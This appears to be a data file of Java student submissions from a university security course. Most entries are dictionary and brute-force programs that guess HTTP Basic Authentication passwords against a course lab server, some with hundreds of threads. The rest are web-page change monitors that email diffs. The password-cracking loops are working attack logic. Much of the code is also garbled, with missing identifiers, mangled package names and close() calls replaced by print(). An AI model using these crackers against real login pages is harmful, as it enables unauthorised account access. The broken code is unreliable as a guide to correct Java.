+ url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+ }
+ catch(Exception ex1)
+ {
+ }
+ num = i;
+ this.userPassword = userPassword;
+
+ }
+ 
+ public int getResponseCode()
+ {
+ return this.responseCode;
+ }
+
+ public void run()
+ {
+  try
+  {
+  String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+  uc = (HttpURLConnection)url.openConnection();
+  uc.setRequestProperty (""Authorization"", "" "" + encoding);
+  System.out.println(""Reponse  = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
+  this.responseCode = uc.getResponseCode();
+  if(uc.getResponseCode()==200)
+  {
+   System.out.println(""====== Password Found : "" +userPassword+ ""======================="");
+   System.exit(0);
+  }
+  }
+  catch (Exception e) {
+   System.out.println(""Could not execute Thread ""+num+"" "");
+  }
+ }
+
+}
+"
+126.java,"
+
+import java.io.*;
+import java.net.*;
+import java.util.Properties;
+import java.security.*;
+
+public class WatchDog
+{
+    private String file,tempfile1,tempfile2,tempfile3;
+	private final String host=""yallara.cs.rmit.edu."";
+    private final String email=""@cs.rmit.edu."";
+    private final String from=""watchdog@cs.rmit.edu."";
+    private final String subject=""SUBJECT:Mail from Watchdog about the changes  the web-."";
+    private String baseURL="""";
+	private String msg;
+	private boolean firstTime=false;
+    public WatchDog(boolean flag)
+	{
+		firstTime=flag;
+	}
+
+    public void startWatching(String[] urls,String fl)
+    {
+		file=fl;
+		tempfile1=fl+""/temp1.log"";
+		tempfile2=fl+""/temp2.log"";
+		tempfile3=fl+""/temp3.log"";
+		System.out.println(tempfile3);
+
+		msg="""";
+		for(;;)
+		{
+			try
+			{
+
+				for(int o=0;o<urls.length;o++)
+				{
+					file=fl+""/ass2_""+o+"".log"";
+					URL u=new URL(urls[o]);
+					String f=u.getFile();
+					String url=urls[o];
+					if(f.lastIndexOf('.')<f.lastIndexOf('/'))
+					{
+						url=f.substring(0,f.lastIndexOf('/'));
+						url=u.getProtocol()+""://""+u.getHost()+url;
+					}
+					System.out.println(url);
+					watch(url);
+					msg=msg+""\n\n"";
+				}
+				if(firstTime==false)
+				{
+			     boolean flag=mail(msg);
+			     if(flag)
+					System.out.println(""mail sent"");
+				 else
+					System.out.println(""mail not sent"");
+  				 Thread.sleep(1000*60*60*24);
+				}
+				else
+					System.exit(0);
+			}
+			catch(Exception e)
+			{
+				e.printStackTrace();
+			}
+		}			
+    }
+
+	private void watch(String url) throws IOException
+	{
+		     baseURL=url;
+		     msg=msg+""Going  check the URL ""+url+"".\n"";
+	             
+		     String pageText=getResource(url);
+
+			 String [] images=getImages(pageText);
+
+			 if(firstTime==false)
+	             msg= msg + checkChange(pageText,images);	     
+
+		     msg=msg+"". Checked at ""+new java.util.Date(System.currentTimeMillis())+""."";
+
+		     log(pageText,images);
+
+			if(firstTime)
+				System.out.println(""Re-run the watchDog (without the First flag)."");
+	}
+	private String checkChange(String pageText,String [] images) throws IOException
+	{
+		
+		PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));
+		out.println(pageText);
+		out.flush();
+		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+		out.flush();
+		out.print();
+		out=null;
+
+		BufferedReader in1=new BufferedReader(new FileReader(file));
+		BufferedReader in2=new BufferedReader(new FileReader(tempfile1));	
+		String msg=""\n"";
+        	String temp1="""",temp2="""",oldText="""",newText="""";
+
+		
+		BufferedReader in0=new BufferedReader(new FileReader(tempfile1));
+		while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
+		{
+			temp1=in0.readLine();
+			temp1=temp1+""\n"";
+			newText=newText+temp1;
+		}
+		in0.print();
+		in0=null;
+		
+		out=new PrintWriter(new FileOutputStream(tempfile1));
+		out.println(newText);
+		out.flush();
+		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+		out.flush();
+		out.print();
+		out=null;
+		newText="""";
+		temp1=""  "";
+
+		while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
+		{
+			temp1=in1.readLine();
+			temp1=temp1+""\n"";
+			temp2=in2.readLine();
+			temp2=temp2+""\n"";
+			oldText=oldText+temp1;
+			newText=newText+temp2;
+		}		
+
+		in2.print();
+		in2=null;
+
+		out=new PrintWriter(new FileOutputStream(tempfile2));
+		out.println(oldText);
+		out.flush();
+		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+		out.flush();
+		out.print();
+		out=null;
+
+		msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);
+		String data="""";
+		try{
+			FileReader fin=new FileReader(tempfile3);
+			int ch=fin.print();
+			while(ch!= -1)
+			{
+			       data=data+""""+(char)ch;
+				   ch=fin.print();
+			}
+		}
+		catch(FileNotFoundException m){}
+
+		msg=msg+data;
+
+		temp1=in1.readLine();
+
+		int numImg=Integer.parseInt(temp1);
+		if(numImg != images.length)
+			msg=msg+""The number of images has chnaged.\n The number of images before was ""+numImg+"" \n While the number of images found now is ""+images.length+"" .\n"";
+		else
+			msg=msg+"" is  change in the number of images  the .\n"";
+
+		String iText1="""",iText2="""";
+		
+		for(int i=0;i<numImg;i++)
+		{
+			out=new PrintWriter(new FileOutputStream(tempfile1));
+			out.println(images[i]);
+			out.flush();
+			out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+			out.flush();
+			out.print();
+			out=null;
+
+			in2=new BufferedReader(new FileReader(tempfile1));
+	
+			while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false)
+			{
+			
+				temp1=in1.readLine();
+				temp1=temp1+""\n"";
+				temp2=in2.readLine();
+				temp2=temp2+""\n"";
+				iText1=iText1+temp1;
+				iText2=iText2+temp2;
+			}
+			
+			in2.print();
+			in2=null;
+
+			if(iText1.equals(iText2))
+				msg=msg+"" is  change in the Image number ""+(i+1)+"". \n"";
+			else
+				msg=msg+""The Image number ""+(i+1)+"" has changed. \n"";
+		}
+
+		return msg;
+	}
+	private String[] getImages(String text) throws IOException
+	{
+		String [] images,urls;
+		java.util.ArrayList alist=new java.util.ArrayList();
+		String t="""";
+		boolean img=false;
+		int len=text.length();
+		char ch,last=' ';
+		int c=0;
+		while(c<len)
+		{
+			ch=text.charAt(c);
+			if(ch=='<')
+			{
+				last='<';
+				t="""";
+			}
+			if(last=='<')
+			{
+				t=""""+ch;
+				if(c+2 < len)
+					t=t+text.charAt(c+1)+""""+text.charAt(c+2);
+				if(t.equalsIgnoreCase(""img""))
+					img=true;
+			}
+			if(img==true)
+				t=+ch;
+			if(ch=='>')
+			{
+				last='>';
+				if(img==true)
+				{
+					
+					System.out.println();
+					int n=0;
+					char tch,tlast=' ';
+					String imgPath="""",tn="""";
+					boolean src=false;
+					while(n<t.length())
+					{
+						tch=t.charAt(n);
+						tn=""""+tch;
+						if(src==false && tn.equalsIgnoreCase(""s"") && (n+2)<t.length())
+						{
+							tn=tn+t.charAt(n+1)+""""+t.charAt(n+2);
+							if(tn.equalsIgnoreCase(""src""))
+							{
+								src=true;
+								n+=2;
+							}
+						}
+						else if(src==true)
+						{
+							if(tch!='""')
+							{
+								if(tch==' ' && imgPath.indexOf('.')!= -1)								
+									n=t.length();
+								else if(tch==' ' || tch=='=')
+									;
+								else
+									imgPath=imgPath+tch;								
+							}
+						}
+						n++;
+					}
+					alist.add(imgPath);
+				}
+				img=false;
+		
+			}
+			c++;
+		}
+		urls=(String[])alist.toArray(new String[0]); 
+		images=new String[urls.length];
+		for(int i=0;i<urls.length;i++)
+		{
+			System.out.println(urls[i]);
+			if(urls[i].startsWith(""http"")==false && urls[i].startsWith(""HTTP"")==false && urls[i].startsWith(""/"")==false)
+			{
+				try
+				{
+					images[i]=getResource(baseURL+""/""+urls[i]);			
+				}
+				catch(FileNotFoundException fnfe)
+				{
+					String f=baseURL+""/""+urls[i];
+					images[i]=f.substring(0,f.lastIndexOf('/'));
+				}
+			}
+			else if(urls[i].startsWith(""http"")==false && urls[i].startsWith(""HTTP"")==false)	
+			{
+				try
+				{
+					images[i]=getResource(baseURL+urls[i]);
+				}
+				catch(FileNotFoundException fnfe)
+				{
+					String f=baseURL+urls[i];
+					images[i]=f.substring(0,f.lastIndexOf('/'));
+				}
+			}
+			else
+			{
+				try
+				{
+					images[i]=getResource(urls[i]);
+				}
+				catch(FileNotFoundException fnfe)
+				{
+					images[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));
+				}
+
+			}
+
+		}
+		return images;
+	}
+	private void log(String pageText,String[] images) throws IOException
+        {
+		PrintWriter out=new PrintWriter(new FileOutputStream(file));
+		out.println(pageText);
+		out.flush();
+		out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+		out.flush();	
+
+		if(images.length>0)
+		{
+			out.println(images.length+"""");
+			out.flush();	
+		}
+		for(int i=0;i<images.length;i++)
+		{
+			out.println(images[i]);
+			out.flush();
+			out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"");
+			out.flush();		
+		}	
+
+	}
+
+    public String getResource(String url) throws IOException
+	{
+				System.out.println(""url=""+url);
+				String urlData=new String("""");
+                InputStreamReader in=new InputStreamReader(new URL(url).openStream());
+                int ch=in.print();
+                while(ch!= -1)
+                {
+                  urlData=urlData+(char)ch;
+                  ch=in.print();
+                }
+		return urlData;
+	}
+
+        public boolean mail (String msg) throws IOException
+        {
+            boolean ret=true;
+            try
+            {
+              Socket csoc=new Socket(""yallara.cs.rmit.edu."",25);
+              BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));
+              PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
+              out.println(""HELO ""+host);
+              System.out.println(in.readLine());
+              out.println(""MAIL FROM:""+from);
+              System.out.println(in.readLine());
+              out.println(""RCPT :"");
+              System.out.println(in.readLine());
+              out.println(""DATA"");
+              System.out.println(in.readLine());
+              out.println(""SUBJECT:""+subject);
+              System.out.println(in.readLine());
+              out.println(msg);
+ 	      out.println(""."");
+              System.out.println(in.readLine());
+              out.println(""QUIT"");
+              System.out.println(in.readLine());
+            }
+            catch(Exception e)
+            {
+              e.printStackTrace();
+              System.out.println(""Some error occoured while communicating  server"");
+              ret=false;
+ 	      return ret;
+            }
+	    System.out.println(""**************************************\nMAIL ->""+msg);
+            return ret;
+        }
+
+	public static void main (String[] args)
+	{
+		System.out.println(""Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}"");
+		boolean flag=false;
+		int num=args.length-1;
+		if(args[args.length-1].equalsIgnoreCase(""First""))
+		{
+			num--;;
+			flag=true;
+		}
+System.out.println(args[num]);
+
+		WatchDog w=new WatchDog(flag);
+		String []u=new String[num];
+		for(int i=0;i<u.length;i++)
+			u[i]=args[i];
+		w.startWatching(u,args[num]);
+	}
+}
+"
+004.java,"import java.io.*;
+import java.util.*;
+import java.net.*;
+import java.net.Authenticator;
+
+
+public class  Dictionary
+{
+
+	private String result ="""";
+
+	public class customAuthenticator extends Authenticator {
+	       public customAuthenticator(String passwd)
+           {
+            this.pass = passwd;
+           }
+
+	       protected PasswordAuthentication getPasswordAuthentication()
+           {
+	                 return new PasswordAuthentication("""",pass.toCharArray());
+           }
+           public String pass;
+    }
+
+    public Dictionary() {
+
+        DataInputStream dis = null;
+        String record = null;
+        int recCount = 0, flag=0;
+	    String result="""";
+        java.util.Date d = java.util.Calendar.getInstance().getTime();
+        System.out.println(d.toString());
+
+
+        String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+
+		int count=1;
+		String passwd=new String();
+        HttpURLConnection connection = null;
+        URL u = null;
+
+        try
+        {
+         u = new URL(url);
+         File f = new File(""/usr/share/lib/dict/words"");
+         FileInputStream fis = new FileInputStream(f);
+         BufferedInputStream bis = new BufferedInputStream(fis);
+         dis = new DataInputStream(bis);
+
+                while ( (record=dis.readLine()) != null )
+		            {
+		              System.out.println(count+ "" ) "" + record);
+                      count++;
+                      connection = (HttpURLConnection) u.openConnection();
+                      Authenticator.setDefault(new customAuthenticator(record));
+                        if (connection.getResponseCode()==200)
+                            {   System.out.print(""The password is : ""+record);
+                                System.out.println();
+                                java.util.Date d1 = java.util.Calendar.getInstance().getTime();
+                                System.out.println(d1.toString());
+                                System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n"");
+                                System.exit(0);
+                            }
+
+                    connection.disconnect();
+                        }
+                }
+            catch(Exception e) { System.err.println(e); }
+    }
+
+	public static void main(String[] args)
+	{
+
+		Dictionary  = new Dictionary();
+
+
+	}
+}"
+152.java,"
+
+import java.net.*;
+import java.io.IOException;
+import java.util.*;
+import java.io.*;
+public class Dictionary   {
+  static String userName;
+  static  URL   url;
+  static URLAuthenticator  urlAuthenticator;
+  static int noOfAttempts;
+  
+  public Dictionary() {
+  }
+
+  public static void main (String args[])  {
+     Properties props = System.getProperties();
+     props.put(""http.proxyHost"", ""bluetongue.cs.rmit.edu.:8080"");
+     
+     System.out.println(props.get(""http.proxyHost""));
+     BufferedReader inFile = null;
+     
+        try {
+	          if (args.length < 1)  {       
+		         System.out.println (""Usage  : java Dictionary /usr/share/lib/dict/words"");
+                         System.exit(1);
+		  }	 
+	    	  inFile = new BufferedReader (new FileReader(args[0]));
+
+
+
+	    	  breakPassword(inFile);
+		}
+		
+		catch (FileNotFoundException e) { 
+		    System.err.println(e.getMessage());
+		    System.exit(1);
+                }
+                catch (IOException e) {                  
+                    System.err.println(e.getMessage());
+                    System.exit(1);
+         }
+	 finally {
+    	    try {
+		     inFile.close();  
+
+	         }
+	    catch (IOException ex) {ex.printStackTrace();}  
+	}
+
+ }
+ private static void  breakPassword (BufferedReader file) throws
+ IOException {
+     String password=""  "";
+     userName="""";
+     boolean found= false;
+     MyHttpURLConnection    httpURLConnection;
+     String passBase64="" "";
+     urlAuthenticator =  new URLAuthenticator(userName);
+     HttpURLConnection   u=null;
+     String  input;
+	try {
+	       
+	        url  = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+     	    
+            } catch (MalformedURLException  e){
+	    } catch  (IOException  io) {io.printStackTrace();}
+	
+        while (( input = file.readLine()) != null) {
+	      if (input.length() <=3)   {
+                  password = input;
+		  password ="":""+ password;
+   	         
+                  try {
+                       u = (HttpURLConnection)url.openConnection();
+		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
+                       u.setRequestProperty(""Authorization"", "" "" + passBase64);
+			         
+
+			
+                       u.connect();
+		       noOfAttempts++;	
+		    if (u.getContentLength() != 0) {    
+		       
+		       if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
+		          
+	                   found=true;
+   		          System.out.println(""Your User Name : Password Combination is :""+password+ 
+			  ""   ""+ "" Found by  Thread"");
+			  System.out.println(""   "");
+			  System.out.println("" of Attempts / Requests ""+ noOfAttempts);
+			  
+		          System.exit(0);
+		       }	  
+                      
+		   }
+
+		  } catch  (ProtocolException  px) {px.printStackTrace();
+		  } catch (BindException e){e.printStackTrace();
+		  } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
+		  } catch  (IOException  io) {io.printStackTrace();
+		  } finally {u.disconnect();
+		  }
+              }
+        }
+	
+	
+	
+	
+	
+	
+	
+ }
+}
+class URLAuthenticator  extends Authenticator   {
+   private String uName;
+   String passwd;
+   static private char[] password;
+   public URLAuthenticator(String uName) {
+     this.uName = uName;
+   }
+   public void setPassword(String passwd)  {
+
+     this.passwd=passwd;
+     password=passwd.toCharArray();
+
+   }
+
+   public PasswordAuthentication getPasswordAuthentication()  {
+
+	 PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
+ 	 return  passwordAuthentication;
+   }
+}
+class MyHttpURLConnection extends HttpURLConnection  {
+    public MyHttpURLConnection(URL url) {
+       super(url);
+    }
+    public void disconnect() {
+    }
+    public boolean usingProxy() {
+        return true;
+    }
+    public void connect() {
+    }
+}
+
+
+         
+
+
+"
+051.java,"import java.io.*;
+import java.net.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+
+public class Dictionary 
+{
+  String uname = """";
+  String pword = ""null"";
+  Vector v = new Vector();
+   int runTime;
+  public void doConnect(String connect, int num)
+  {
+    String  = connect;
+    
+    try
+     {
+       URL secureSite = new URL();
+       URLConnection connection = secureSite.openConnection();
+       if (uname != null || pword != null)
+	  {
+	   
+	    for(int i=num; i<v.size(); i++)
+	    {
+	      pword = (String)v.elementAt(i);
+	      String up = uname + "":"" + pword;
+            String encoding;
+            try
+		{
+		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
+		  encoding = encoder.encode (up.getBytes());
+		 
+           }
+	     catch (Exception ex) 
+            {
+		  Base64Converter encoder = new Base64Converter();
+		  System.out.println(""in catch"");
+              encoding = encoder.encode(up.getBytes());
+           }
+	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
+           connection.connect();
+           if(connection instanceof HttpURLConnection)
+	     {
+	       HttpURLConnection httpCon=(HttpURLConnection)connection;
+             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
+		  {
+		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
+	         doConnect(i, i+1);
+	       }
+		else
+		 { 
+		  System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
+	        System.out.println( +""\tPassword : ""+ pword);
+
+              runTime = System.currentTimeMillis() - runTime; 
+              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
+	        System.exit(0);
+	      }
+	    }
+	  }
+      }
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+  }
+  public Vector getPassword()
+  {
+    try
+    {
+      ReadFile  rf = new ReadFile();
+      rf.loadFile();
+      v = rf.getVector();
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+    return v;
+  } 
+  public void setTimeTaken( int timetaken)
+  {
+    runTime = timetaken;
+  }   
+  public static void main ( String args[] ) throws IOException 
+  {
+    
+     runTime1 = System.currentTimeMillis();     
+    Dictionary newDo = new Dictionary();
+    newDo.setTimeTaken(runTime1);
+    newDo. getPassword();
+    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    newDo.doConnect(site, 0);
+    
+  }  
+  
+}
+
+class  Base64Converter
+      {
+  
+          public final char [ ]  alphabet = {
+              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+              '4', '5', '6', '7', '8', '9', '+', '/' }; 
+  
+  
+          public String  encode ( String  s )
+          {
+              return encode ( s.getBytes ( ) );
+          }
+  
+          public String  encode ( byte [ ]  octetString )
+          {
+              int  bits24;
+              int  bits6;
+  
+              char [ ]  out
+                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+  
+              int outIndex = 0;
+              int i        = 0;
+  
+              while ( ( i + 3 ) <= octetString.length ) {
+                  
+                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
+  
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0000003F );
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+              }
+  
+              if ( octetString.length - i == 2 )
+              {
+                  
+                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+              }
+              else if ( octetString.length - i == 1 )
+              {
+                  
+                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+                  out [ outIndex++ ] = '=';
+              }
+  
+              return new String ( out );
+          }
+       }
+  
+  
+"
+228.java,"
+
+import java.io.*;
+import java.*;
+import java.net.*;
+import java.util.*;
+
+public class BruteForce {
+ public static void main (String[] args) throws IOException {
+  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
+
+       int start = new Date().getTime();
+      String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"",
+                          ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"",
+			  ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"",
+			  ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""};
+      int len = 52;
+      int total = 52;
+      String[] cad = new String[total];
+      int t=0;
+      
+      for (int i=0;i<=len-1;i++){
+	 cad[t] = letters[i];
+	 t++;
+      } 
+      for (int i=0;i<=len-1;i++){
+         for (int j=0;j<=len-1;j++){
+	    cad[t] = letters[j]+letters[i];
+	    t++;
+      }}
+      for (int i=0;i<=len-1;i++){
+       for (int j=0;j<=len-1;j++){
+        for (int k=0;k<=len-1;k++){
+	   cad[t] = letters[k]+letters[j]+letters[i];
+	   t++;
+      }}}
+            
+       int response = 0;
+       for (t=0;t<=total-1;t++){
+        String uname = """";
+        String userinfo = uname + "":"" + cad[t];
+        try{
+         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
+         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
+         uc.setRequestProperty (""Authorization"", "" "" + encoding);
+         response = uc.getResponseCode();
+	 if (response == 200) break;
+	 else uc.disconnect();
+        }
+        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
+        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
+       }
+       System.out.println(""Response ""+t+"" was ""+response);
+       System.out.println(""The successful password was ""+cad[t]);
+        finish = new Date().getTime();
+       float totaltime = (float)(finish-start)/1000;
+       System.out.println(""Total time: ""+totaltime+"" seconds"");
+   }
+}
+
+"
+122.java,"
+
+import java.net.*;
+import java.text.*;  
+import java.util.*;  
+import java.io.*;
+
+public class WatchDog {
+
+  public WatchDog() {
+
+    StringBuffer stringBuffer1 = new StringBuffer();
+    StringBuffer stringBuffer2 = new StringBuffer();
+    int i,j = 0;
+
+    try{
+
+      URL yahoo = new URL(""http://www.cs.rmit.edu./students/""); 
+      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
+
+      String inputLine = """";
+      String inputLine1 = """";
+      String changedtext= """";
+      String changedflag= """";
+
+
+      Thread.sleep(180);
+
+      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));
+
+
+      while ((inputLine = in.readLine()) != null) {
+           inputLine1 = in1.readLine();
+           if (inputLine.equals(inputLine1)) {
+              System.out.println(""equal"");
+           }
+           else {
+              System.out.println(""Detected a Change"");
+              System.out.println(""Line Before the change:"" + inputLine);
+              System.out.println(""Line After the change:"" + inputLine1);
+              changedtext = changedtext + inputLine + inputLine1;
+              changedflag = ""Y"";
+           }
+           
+      }
+
+      if (in1.readLine() != null ) {
+         System.out.println(""Detected a Change"");
+         System.out.println(""New Lines Added  "");
+         changedtext = changedtext + ""New Lines added"";
+         changedflag = ""Y"";
+      }
+
+      in.print();
+      in1.print();
+
+      if (changedflag.equals(""Y"")) {
+         String smtphost =""smtp.mail.rmit.edu."" ; 
+         String from = ""@rmit.edu.""; 
+         String  = ""janaka1@optusnet.."" ; 
+      }
+
+
+    }
+    catch(Exception e){ System.out.println(""exception:"" + e);}
+	 
+}
+		
+    public static void main (String[] args) throws Exception {
+		WatchDog u = new WatchDog();
+    }
+}
+"
+107.java,"
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+
+
+public class WatchdogPropertyHelper {
+
+	private static Properties testProps;
+
+
+
+	public WatchdogPropertyHelper() {
+	}
+
+
+	
+
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the watchddog Props"");
+			e.printStackTrace();
+		}
+		return testProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(testProps == null){
+			testProps = new Properties();
+
+			InputStream fis =
+				WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
+			testProps.load(fis);
+		}
+	}
+}
+"
+224.java,"
+
+import java.io.*;
+import java.text.*;
+import java.util.*;
+import java.net.*;
+
+public class Dictionary extends Thread
+{
+   private static final String USERNAME = """";
+   private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words"";
+   private static int NUMBER_OF_THREAD = 500;
+
+   private static Date startDate = null;
+   private static Date endDate = null;
+
+   private String address;
+   private String password;
+
+   public Dictionary(String address, String password)
+   {
+      this.address = address;
+      this.password = password;
+   }
+
+   public static void main(String[] args) throws IOException
+   {
+      if (args.length < 1)
+      {
+         System.err.println(""Invalid usage!"");
+         System.err.println(""Usage: java Dictionary <url>"");
+         System.exit(1);
+      }
+
+      try
+      {
+         dic(args[0], USERNAME);
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+         System.exit(1);
+      }
+   }
+
+   public static void dic(String address, String user)
+   {
+      Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD];
+      int index = 0;
+
+      startDate = new Date();
+      try
+      {
+         BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE));
+         String password = null;
+         while((password = buff.readLine()) != null)
+         {
+            if (threads[index] != null && threads[index].isAlive())
+            {
+               try
+               {
+                  threads[index].join();
+               }
+               catch(InterruptedException e) {}
+            }
+            threads[index] = new Dictionary(address, password.trim());
+            threads[index].get();
+
+            index = (index++) % threads.length;
+         }
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+      }
+   }
+
+   public void run()
+   {
+      if (endDate != null)
+         return;
+
+      try
+      {
+         URLConnection conn = (new URL(address)).openConnection();
+         conn.setDoInput(true);
+
+         if (login(conn, USERNAME, password))
+         {
+            endDate = new Date();
+            System.out.println(""Found the password: \""""+password+""\""!"");
+            SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:"");
+            System.out.println(""Process started at: ""+format.format(startDate));
+            System.out.println(""Process started at: ""+format.format(endDate));
+            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
+            System.out.println(""Time taken: ""+timeTaken+"" minutes"");
+            System.exit(0);
+         }
+         else
+         {
+            System.out.println(""Password: \""""+password+""\"" Failed!"");
+            return;
+         }
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+      }
+   }
+
+   public static boolean login(URLConnection conn, String user, String pass)
+   {
+      try
+      {
+         String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass);
+         conn.setRequestProperty (""Authorization"", encodeAuth);
+         conn.connect();
+         conn.getInputStream();
+      }
+      catch(Exception e)
+      {
+         return false;
+      }
+      return true;
+   }
+}
+
+
+"
+021.java,"
+
+
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import misc.BASE64Encoder;
+import javax.swing.*;
+
+public class ConnectionThread extends Thread
+{
+    private String         url;
+    private URL            currURL;
+    private URLConnection  conn;
+    private HoldSharedData sharedData;
+    private int            noOfThread;
+    private int            batch;
+
+    public ConnectionThread( String pageURL, int wThread,
+                             int newBatch, HoldSharedData data )
+    {
+        super();
+        url = pageURL;
+        noOfThread = wThread;
+        batch = newBatch;
+        sharedData = data;
+    }
+
+    
+    public void run()
+    {
+        try
+        {
+            currURL = new URL( url );
+
+            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
+                                    (i < sharedData.getPwdCount()); i ++ )
+            {
+                String pwd = sharedData.getPasswordAt( i );
+
+                conn = currURL.openConnection();
+
+                if (conn instanceof HttpURLConnection)
+                {
+	            HttpURLConnection hconn = (HttpURLConnection) conn;
+                    hconn.setFollowRedirects(false);
+                    String cad = "" "" + based64Encoder( "":"" + pwd );
+                    hconn.setRequestProperty( ""Authorization"", cad );
+
+                    hconn.connect();
+	            int response = hconn.getResponseCode();
+                    sharedData.setNumOfConnections();
+
+                    if( response == 200 )
+                    {
+                         totalTime = System.currentTimeMillis() -
+                                           sharedData.getStartTime();
+                        int numOfConnections = sharedData.getNumOfConnections();
+
+                        System.out.println( ""Password is "" + pwd );
+                        System.out.println( ""Total Time(seconds)= "" +
+                                            (double)totalTime/1000 );
